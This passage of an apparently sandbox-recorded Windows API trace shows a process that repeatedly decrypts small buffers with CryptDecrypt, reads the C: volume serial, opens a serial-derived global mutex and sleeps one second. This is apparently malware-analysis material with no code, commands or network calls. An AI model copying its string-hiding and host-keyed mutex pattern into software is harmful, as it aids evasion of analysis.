hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d1550) returned 1 [0173.778] CryptSetKeyParam (hKey=0x1d1550, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0173.778] CryptDecrypt (in: hKey=0x1d1550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fc5c | out: pbData=0x6fafc0, pdwDataLen=0x225fc5c) returned 1 [0173.778] CryptDestroyKey (hKey=0x1d1550) returned 1 [0173.778] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0173.778] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8f08, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0173.778] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8c88 | out: hHeap=0x6f0000) returned 1 [0173.778] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8eb8 | out: hHeap=0x6f0000) returned 1 [0173.778] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.778] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8f08 | out: hHeap=0x6f0000) returned 1 [0173.778] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0173.778] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d1810) returned 1 [0173.778] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0173.778] CryptDecrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0173.778] CryptDestroyKey (hKey=0x1d1810) returned 1 [0173.778] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0173.778] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2dc [0173.778] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x0) returned 0x102 [0173.778] CloseHandle (hObject=0x2dc) returned 1 [0173.778] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0173.779] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0173.779] Sleep (dwMilliseconds=0x3e8) [0174.790] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f8bc0 [0174.790] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d1ad0) returned 1 [0174.790] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0174.791] CryptDecrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8bc0, pdwDataLen=0x225fc84 | out: pbData=0x6f8bc0, pdwDataLen=0x225fc84) returned 1 [0174.791] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0174.791] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f8b70 [0174.791] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f8e18 [0174.791] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fafc0 [0174.791] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d16d0) returned 1 [0174.791] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0174.791] CryptDecrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fc5c | out: pbData=0x6fafc0, pdwDataLen=0x225fc5c) returned 1 [0174.791] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0174.791] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0174.791] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8b70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0174.791] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8e18 | out: hHeap=0x6f0000) returned 1 [0174.791] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8bc0 | out: hHeap=0x6f0000) returned 1 [0174.791] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0174.791] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8b70 | out: hHeap=0x6f0000) returned 1 [0174.791] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0174.791] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d1810) returned 1 [0174.791] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0174.791] CryptDecrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0174.791] CryptDestroyKey (hKey=0x1d1810) returned 1 [0174.791] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0174.791] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2dc [0174.791] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x0) returned 0x102 [0174.791] CloseHandle (hObject=0x2dc) returned 1 [0174.791] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0174.791] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0174.792] Sleep (dwMilliseconds=0x3e8) [0175.813] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f8e40 [0175.813] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d1710) returned 1 [0175.813] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0175.813] CryptDecrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8e40, pdwDataLen=0x225fc84 | out: pbData=0x6f8e40, pdwDataLen=0x225fc84) returned 1 [0175.814] CryptDestroyKey (hKey=0x1d1710) returned 1 [0175.814] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f8e68 [0175.814] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f8eb8 [0175.814] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fafc0 [0175.814] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d19d0) returned 1 [0175.814] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0175.814] CryptDecrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fc5c | out: pbData=0x6fafc0, pdwDataLen=0x225fc5c) returned 1 [0175.814] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0175.814] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0175.814] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8e68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0175.814] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8eb8 | out: hHeap=0x6f0000) returned 1 [0175.814] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8e40 | out: hHeap=0x6f0000) returned 1 [0175.814] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0175.814] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8e68 | out: hHeap=0x6f0000) returned 1 [0175.814] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0175.814] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d17d0) returned 1 [0175.814] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0175.814] CryptDecrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0175.814] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0175.814] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0175.814] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2dc [0175.814] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x0) returned 0x102 [0175.814] CloseHandle (hObject=0x2dc) returned 1 [0175.814] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0175.814] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0175.815] Sleep (dwMilliseconds=0x3e8) [0176.935] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f8c60 [0176.935] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d17d0) returned 1 [0176.935] CryptSetKeyParam (hKey=0x1d17d0, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0176.935] CryptDecrypt (in: hKey=0x1d17d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8c60, pdwDataLen=0x225fc84 | out: pbData=0x6f8c60, pdwDataLen=0x225fc84) returned 1 [0176.935] CryptDestroyKey (hKey=0x1d17d0) returned 1 [0176.935] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f8c88 [0176.935] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f8bc0 [0176.935] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fafc0 [0176.935] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d1710) returned 1 [0176.935] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0176.935] CryptDecrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fc5c | out: pbData=0x6fafc0, pdwDataLen=0x225fc5c) returned 1 [0176.935] CryptDestroyKey (hKey=0x1d1710) returned 1 [0176.935] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0176.936] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8c88, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0176.936] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8bc0 | out: hHeap=0x6f0000) returned 1 [0176.936] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8c60 | out: hHeap=0x6f0000) returned 1 [0176.936] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0176.936] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8c88 | out: hHeap=0x6f0000) returned 1 [0176.936] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0176.936] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d1850) returned 1 [0176.936] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0176.936] CryptDecrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0176.936] CryptDestroyKey (hKey=0x1d1850) returned 1 [0176.936] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0176.936] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2dc [0176.936] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x0) returned 0x102 [0176.936] CloseHandle (hObject=0x2dc) returned 1 [0176.936] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0176.936] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0176.937] Sleep (dwMilliseconds=0x3e8) [0177.949] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f8d00 [0177.949] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d1a50) returned 1 [0177.949] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0177.949] CryptDecrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8d00, pdwDataLen=0x225fc84 | out: pbData=0x6f8d00, pdwDataLen=0x225fc84) returned 1 [0177.949] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0177.949] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f8e40 [0177.949] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f8b70 [0177.949] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fafc0 [0177.949] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d1410) returned 1 [0177.949] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0177.949] CryptDecrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fc5c | out: pbData=0x6fafc0, pdwDataLen=0x225fc5c) returned 1 [0177.949] CryptDestroyKey (hKey=0x1d1410) returned 1 [0177.949] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0177.949] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8e40, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0177.949] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8b70 | out: hHeap=0x6f0000) returned 1 [0177.949] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8d00 | out: hHeap=0x6f0000) returned 1 [0177.949] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0177.950] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8e40 | out: hHeap=0x6f0000) returned 1 [0177.950] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0177.950] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d1450) returned 1 [0177.950] CryptSetKeyParam (hKey=0x1d1450, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0177.950] CryptDecrypt (in: hKey=0x1d1450, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0177.950] CryptDestroyKey (hKey=0x1d1450) returned 1 [0177.950] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0177.950] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2dc [0177.950] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x0) returned 0x102 [0177.950] CloseHandle (hObject=0x2dc) returned 1 [0177.950] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0177.950] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0177.950] Sleep (dwMilliseconds=0x3e8) [0178.953] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f8e90 [0178.953] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d14d0) returned 1 [0178.953] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0178.953] CryptDecrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8e90, pdwDataLen=0x225fc84 | out: pbData=0x6f8e90, pdwDataLen=0x225fc84) returned 1 [0178.953] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0178.953] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f8d00 [0178.953] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f8da0 [0178.953] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fafc0 [0178.953] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d1850) returned 1 [0178.953] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0178.953] CryptDecrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fc5c | out: pbData=0x6fafc0, pdwDataLen=0x225fc5c) returned 1 [0178.953] CryptDestroyKey (hKey=0x1d1850) returned 1 [0178.953] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0178.953] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8d00, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0178.953] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8da0 | out: hHeap=0x6f0000) returned 1 [0178.953] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8e90 | out: hHeap=0x6f0000) returned 1 [0178.953] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0179.148] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8d00 | out: hHeap=0x6f0000) returned 1 [0179.148] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0179.148] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d1890) returned 1 [0179.148] CryptSetKeyParam (hKey=0x1d1890, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0179.148] CryptDecrypt (in: hKey=0x1d1890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0179.148] CryptDestroyKey (hKey=0x1d1890) returned 1 [0179.148] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0179.148] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2e0 [0179.148] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x0) returned 0x102 [0179.148] CloseHandle (hObject=0x2e0) returned 1 [0179.148] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0179.148] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0179.148] Sleep (dwMilliseconds=0x3e8) [0180.159] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f8e40 [0180.159] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fcd0 | out: phKey=0x225fcd0*=0x1d1a10) returned 1 [0180.159] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x225fcb8, dwFlags=0x0) returned 1 [0180.159] CryptDecrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6f8e40, pdwDataLen=0x225fc84 | out: pbData=0x6f8e40, pdwDataLen=0x225fc84) returned 1 [0180.159] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0180.159] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x1e) returned 0x6f8b70 [0180.159] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x1e) returned 0x6f8da0 [0180.159] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x90) returned 0x6fafc0 [0180.159] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc40, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fca8 | out: phKey=0x225fca8*=0x1d1610) returned 1 [0180.159] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x225fc90, dwFlags=0x0) returned 1 [0180.159] CryptDecrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fc5c | out: pbData=0x6fafc0, pdwDataLen=0x225fc5c) returned 1 [0180.159] CryptDestroyKey (hKey=0x1d1610) returned 1 [0180.159] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0180.159] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8b70, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0180.159] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8da0 | out: hHeap=0x6f0000) returned 1 [0180.159] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8e40 | out: hHeap=0x6f0000) returned 1 [0180.159] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x225fd10, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x225fd10*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0180.159] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6f8b70 | out: hHeap=0x6f0000) returned 1 [0180.159] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x40) returned 0x6fafc0 [0180.159] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x225fd04 | out: phKey=0x225fd04*=0x1d1a10) returned 1 [0180.159] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x225fcec, dwFlags=0x0) returned 1 [0180.159] CryptDecrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6fafc0, pdwDataLen=0x225fcb8 | out: pbData=0x6fafc0, pdwDataLen=0x225fcb8) returned 1 [0180.159] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0180.159] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x8, Size=0x34) returned 0x6fb008 [0180.159] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x2dc [0180.159] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x0) returned 0x102 [0180.160] CloseHandle (hObject=0x2dc) returned 1 [0180.160] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fafc0 | out: hHeap=0x6f0000) returned 1 [0180.160] HeapFree (in: hHeap=0x6f0000, dwFlags=0x0, lpMem=0x6fb008 | out: hHeap=0x6f0000) returned 1 [0180.160] Sleep (dwMilliseconds=0x3e8) [0181.172] RtlAllocateHeap (HeapHandle=0x6f0000, Flags=0x0, Size=0x20) returned 0x6f8c10 [0181.172] CryptImportKey (in: hProv=0x1a67b8, pbData=0x225fc68, dwDataLen=0x4c, 